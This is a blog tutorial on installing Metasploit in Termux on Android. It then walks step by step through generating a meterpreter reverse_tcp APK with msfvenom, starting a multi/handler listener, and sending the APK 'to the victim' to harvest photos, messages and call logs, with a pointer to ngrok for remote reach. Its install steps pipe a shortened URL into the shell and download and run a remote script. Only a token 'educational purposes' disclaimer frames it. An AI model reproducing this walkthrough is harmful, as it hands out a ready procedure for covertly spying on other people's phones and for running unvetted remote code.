Join WhatsApp

Join Now

Join Telegram

Join Now

How To Install Metasploit In Termux | Latest Method 2025

By Saboor Shawkat

Published on:

metasploit in termux
5/5 - (1 vote)

In This Post I Am Going To Show You, How To Install Metasploit In Termux. This Post Will Be A Complete Guide For The Installation Of Metasploit In Termux. We Will Go Through The Basic Step By Step Process Of Understanding The Installation And Making It Happen In Termux. We Will Also See How We Can Use Metasploit In Termux And How To Deal With The Errors Of Metasploit In Termux. So Let’s Start,

How To Install Metasploit In Termux?

Installing Metasploit In Termux May Require A Free Storage Of Almost 2GB And An Active Internet Connection. We Will Install The Dependencies Of The Metasploit In Termux Then We Will Clone And Install The Metasploit In Termux Completely. Follow The Below Steps One By One To Install Metasploit In Termux:

Step 1: First Of All Open The Termux App And Connect To The Internet. Install Termux App From The PlayStore If You Do Not Have Installed Yet.

Step 2: Enter The First Command pkg update && pkg upgrade -y To Start The Upgradation Of The Packages Of Termux.

ShellScript
pkg update && pkg upgrade -y

Step 3: Install The Basic Requirements Like Wget Curl Open SSH And Git In Termux To Download The Installation Files From Web Into The Termux App Using pkg install wget curl openssh git -y Command.

ShellScript
pkg install wget curl openssh git -y
Install Dependencies For Metasploit

Step 4: Now Let’s Install The Ncurses Utils As A Requirement Of Metasploit In Termux Using pkg install ncurses-utils Command.

ShellScript
pkg install ncurses-utils
Install Ncurses Utils In Termux

Step 5: Now Start The Installation Of Metasploit In Termux Using source <(curl -fsSL https://kutt.it/msf) Command.

ShellScript
source <(curl -fsSL https://kutt.it/msf)
Install Metasploit In Termux

The Installation Process Will Start On The Termux And Can Take A Little More Time As Metasploit Needs A Lot Dependencies Including Gem Bundles To Work On. The Speed May Vary Depending On Your Device Processer And Internet Speed. Once The Installation Has Been Finished You Metasploit Is Ready To Work On.

How To Create A Payload Using Metasploit In Termux?

Meatsploit Contains A Lot Of Payload Creation Methods. In This Tutorial We Will Learn About A Basic APK For An Android Device. This Method Is Only For Educational Purposes And Should Not Be Used To Harm Anyone. Follow The Below Steps To Create A Payload Using Metasploit In Termux:

Step 1: First Of All Open The Termux App And Type msfvenom -p Command In Termux To Create A Payload APK.

ShellScript
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 R >/data/data/com.termux/files/home/storage/shared/Android.apk
Create Payload Using Metasploit

Step 2: Once The Apk Has Been Created. Copy The Apk And Send It To The Victim.

Step 3: Now Open The Metasploit Using msfconsole Command In Termux.

ShellScript
msfconsole
Opening Metasploit In Termux

Step 4: Type use exploit/multi/handler Command For The Payload Process Of Metasploit.

ShellScript
use exploit/multi/handler 
Use Exploit Multi Handler

Step 5: Select The Payload Method Using set payload android/meterpreter/reverse_tcp Command That We Hvve Use To Create Payload In Step 1.

ShellScript
set payload android/meterpreter/reverse_tcp
Set Payload Type In Termux

Step 6: Now Set The Local Host Using set LHOST 127.0.0.1 Command To The Address Which You Have Mentioned In In Step 1.

ShellScript
set LHOST 127.0.0.1
Set LHOST In Termux

Step 7: Now Set The Local Port Using set LPORT 9999 Command To The Number That You Used In Step 1.

ShellScript
set LPORT 9999
Set LPORT In Termux

Step 8: Type exploit To Start The Payload In Victims Device.

ShellScript
exploit
Exploit The Payload In Termux

Once The Person Will Install The APK. A Session Will Be Created Where You Can Get Photos, Messages, Call Logs, Call History And Many Other Things. These All Things Can Be Seen Using help Command. The Metasploit Framework Can Also Be Used To Bind Payloads With APK.

Note: This Payload Will Only Work On The Local Host Device That Is Your Device. If Want To Make This Payload Run Everywhere You Need To Run The Ngrok TCP And Mask The LocalHost.

How To Install Metasploit In Termux Using A Single Command?

To Make Our Work Easy We Just Type Or Copy Paste The Simple Command In Termux Install Metasploit In Termux. This Process Will Require The Same Time And Just Have After Pasting The Command In Termux. Type pkg update && pkg upgrade -y && pkg install wget -y &&wget https://raw.githubusercontent.com/gushmazuko/metasploit.sh && chmod +x metasploit.sh && bash metasploit.sh Command Termux To Install Metasploit Using Single Command.

ShellScript
pkg update && pkg upgrade -y && pkg install wget -y &&wget https://raw.githubusercontent.com/gushmazuko/metasploit.sh && chmod +x metasploit.sh && bash metasploit.sh

The Process Of Installation Will Be Started. Make Sure If You Encounter Any Error You Can Go With The Step By Step Process Of Installation Of The Metasploit In Termux.

Conclusion:

Metasploit Is One Of The Advanced And Best Exploitation Tool. This Tool Comes Preinstalled In Kali Linux And Mostly Used Exploitation Tool. This Tool Contains 1000 Payloads That Can Be Used On Many Devices Like PC, Mac, Android And Others. It Also Can Create PDF Payloads For Windows. The Whole Post I All About The Educational Purposes. The Author And Me Both Do Not Take Responsibility Of The Misuse Of This Tool. Make Sure To Know That With Great Powers Comes Great Responsibilities. Thanks For Reading.

Frequently Asked Questions:

What Is Metasploit?

Metasploit Is A Popular Exploitation Tool That Can Be Used To Create And Exploit Payloads As A Result Can Used To Check The Security Of The System.

How To Start Metasploit In Termux?

You Just Need To Type msfconsole To Start Metasploit In Termux.

Can We Use Metasploit To Create PDF Payloads?

Yes, Metasploit Can Also Be Used To Create Payloads As PDF.

What Is The Latest Version Of Metasploit In Termux.

Metasploit 6 Is The Latest Version Of Metasploit In Termux

1 thought on “How To Install Metasploit In Termux | Latest Method 2025”

Leave a Comment